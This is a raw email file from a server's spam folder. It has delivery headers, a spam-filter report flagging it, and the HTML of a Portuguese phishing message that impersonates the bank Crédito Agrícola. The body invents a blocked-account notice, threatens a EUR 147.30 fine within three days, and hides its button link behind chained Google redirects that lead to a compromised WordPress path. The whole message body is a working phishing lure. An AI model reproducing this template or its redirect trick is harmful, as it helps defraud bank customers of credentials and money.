| Current File : /home/mak/mail/.spam/new/1612259671.M182679P6569.cloud.berardocollection.com,S=8545,W=8692 |
Return-Path: <dahzmigrate@dh.dhchost.net>
Delivered-To: mak+spam@cloud.berardocollection.com
Received: from cloud.berardocollection.com
by cloud.berardocollection.com with LMTP
id RBYdClchGWCpGQAAuY/3dA
(envelope-from <dahzmigrate@dh.dhchost.net>)
for <mak+spam@cloud.berardocollection.com>; Tue, 02 Feb 2021 09:54:31 +0000
Return-path: <dahzmigrate@dh.dhchost.net>
Envelope-to: inf@mak.pt
Delivery-date: Tue, 02 Feb 2021 09:54:31 +0000
Received: from dh.dhchost.net ([192.211.56.186]:37808)
by cloud.berardocollection.com with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
(Exim 4.93)
(envelope-from <dahzmigrate@dh.dhchost.net>)
id 1l6sOA-0001ht-6l
for inf@mak.pt; Tue, 02 Feb 2021 09:54:31 +0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
d=dahzmigrate.cloud; s=default; h=Date:Message-Id:From:Content-type:
MIME-Version:Subject:To:Sender:Reply-To:Cc:Content-Transfer-Encoding:
Content-ID:Content-Description:Resent-Date:Resent-From:Resent-Sender:
Resent-To:Resent-Cc:Resent-Message-ID:In-Reply-To:References:List-Id:
List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
bh=RHOpC5NI/hP3e61vcXWxZ0yMvqceQy423ED9x9r+ECM=; b=RB1BGGFZn0eqCWOPX7R1B6F3E
Y9Kp8nZr6VXz8GqgVzwyHNZSrn7b10LsD/2rHXkrarCZlZUT1ugb+buemnvaOg0NX/w3EiP5CW/Zt
37qaGu4Qaq/qyMeTC8oNy7Fpzx8kTPrGc4Qey6q5HsVwldUkmHBajbci0R/ZqKMdE06F7EmVq7/7i
WFgRQLrYTU5kuuFG4+CvD/et6WXQkimAyWmYdQ+E6rZ/FyDTcUAxD1Vif+FrUA9nKrVA4zBhHmNCF
RNFJaz+mVuIHVvJj9JlzPxbeV1NbL0E8u/eofyh1seV203zZysr29/2xemvPRJp8MtBADU/60kZAl
039XgqqUA==;
Received: from dahzmigrate by dh.dhchost.net with local (Exim 4.93)
(envelope-from <dahzmigrate@dh.dhchost.net>)
id 1l6sO4-0006h8-6h
for inf@mak.pt; Tue, 02 Feb 2021 04:54:20 -0500
To: inf@mak.pt
X-PHP-Script: dahzmigrate.cloud/st.php for 177.75.21.140
X-PHP-Originating-Script: 1031:st.php
MIME-Version: 1.0
Content-type: text/html; charset=iso-8859-1
From: <SERVICO.CLIENTE81038291@creditoagricola.pt>
Message-Id: <E1l6sO4-0006h8-6h@dh.dhchost.net>
Date: Tue, 02 Feb 2021 04:54:20 -0500
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - dh.dhchost.net
X-AntiAbuse: Original Domain - mak.pt
X-AntiAbuse: Originator/Caller UID/GID - [1031 992] / [47 12]
X-AntiAbuse: Sender Address Domain - dh.dhchost.net
X-Get-Message-Sender-Via: dh.dhchost.net: authenticated_id: dahzmigrate/only user confirmed/virtual account not confirmed
X-Authenticated-Sender: dh.dhchost.net: dahzmigrate
X-Source:
X-Source-Args: php-fpm: pool dahzmigrate_cloud
X-Source-Dir: dahzmigrate.cloud:/public_html
X-Spam-Status: Yes, score=6.9
X-Spam-Score: 69
X-Spam-Bar: ++++++
X-Spam-Report: Spam detection software, running on the system "cloud.berardocollection.com",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: Document Servico Bloqueado. inf@mak.pt para sua seguranca,
este servico encontra-se bloqueado por tempo indeterminado porque execedeu
o tempo limite permitido para realizar as atualizacoes de suas chaves de
seguranca.
Content analysis details: (6.9 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was
blocked. See
http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
for more information.
[URIs: imgur.com]
2.7 RCVD_IN_PSBL RBL: Received via a relay in PSBL
[192.211.56.186 listed in psbl.surriel.com]
1.2 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in
bl.spamcop.net
[Blocked - see <https://www.spamcop.net/bl.shtml?192.211.56.186>]
-0.0 SPF_PASS SPF: sender matches SPF record
-0.0 SPF_HELO_PASS SPF: HELO matches SPF record
0.2 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level
mail domains are different
0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
0.0 HTML_MESSAGE BODY: HTML included in message
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily
valid
0.0 CONTENT_AFTER_HTML More content after HTML close tag
2.6 URI_WPADMIN WordPress login/admin URI, possible phishing
X-Spam-Flag: YES
Subject: ***SPAM*** CREDITO AGRICOLA ALERTA - Servico Bloqueado Ative Agora MULTA EUR 147,30. - ( 658317135721 )
<!doctype html>
<html lang="pt">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body style="display: block;margin: 0;padding: 0;">
<div style="display:block;width:100%;background-color:#ebfff7;padding:40px 0;">
<table width="600" border="0" align="center" bgcolor="#fff" style="font-family:Verdana, Geneva, sans-serif;display:block;border-radius:5px;padding:0px;">
<tr style="display:block;width: 598px;border-bottom:5px solid #009658;">
<td>
<img src="https://i.imgur.com/gGmW30y.png" width="594" style="border-radius:5px 5px 0 0;">
</td>
</tr>
<tr>
<td>
<h1 style="margin:20px 10px 5px 10px;color:#009658;font-size:14px;width:574px;font-weight:bold;border-bottom:1px dotted #e1e1e1;padding: 0 0 10px 0;">
Servico Bloqueado.
</h1>
<p style="font-weight:lighter;font-size:11px;line-height:16px;color:#666;display:block;padding:0 10px;width:574px;">
inf@mak.pt
para sua seguranca, este servico encontra-se bloqueado por tempo indeterminado porque execedeu o tempo limite permitido para realizar as atualizacoes de suas chaves de seguranca.
<br><br>
Sera necessario que acesse nosso web site para verificar suas informacoes em nossa base de dados, ou os servicos oferecidos por nos on-line serao bloqueados por tempo indeterminado em sua conta.
<br><br>
Caso nao realize o processo on-line no tempo estimado de 03 (tres) dias, a contar desta data de recebimento deste informativo, para realizar o desbloqueio sera necessario procurar uma de nossas filiais mais proximas e <strong style="font-weight:bold;">mediante pagamento de multa no valor de EUR 147,30</strong> para realizar este procedimento.
<br><br>
Atenciosamente<br>
<strong style="font-weight:bold;">Credito Agricola.<strong>
</p>
</td>
</tr>
<tr>
<td>
<a href="https://www.google.com/url?sa=D&q=https://appengine.google.com/_ah/logout?continue=https://hangouts.google.com/linkredirect?dest=https://terawas.id/wp-admin/css/--/https:/www.creditoagricola.pt/?cliente=inf@mak.pt
"
style="display:block;width:250px;height:40px;border-radius:35px;text-align:center;background-color:#009658;color:#fff;text-decoration:none;line-height:40px;margin: 20px 175px 20px 175px;font-weight:bold;font-size:15px;">
Realizar Processo
</a>
</td>
</tr>
<tr>
<td>
<p style="font-weight:lighter;font-size:8.5px;line-height:15px;color:#6f6e6e;display:block;padding:10px;width:574px;margin: 0px;background-color:#eee;border-radius:0px 0px 5px 5px;">
Este e-mail foi enviado para voce por que e um de nossos clientes e segundo nossa politica de uso, voce esta qualificado para receber notificacoes on-line quando necessarias. Protocolo de atendimento: 85653505-85653505, referente a esta solicitacao on-line.
<br><br>
© Credito Agricola - O Banco Nacional com pronuncia local. - 2021. Todos os direitos reservados.<br>
</p>
</td>
</tr>
</table>
</div>
</body>
</html>02/02/2021 09:54:20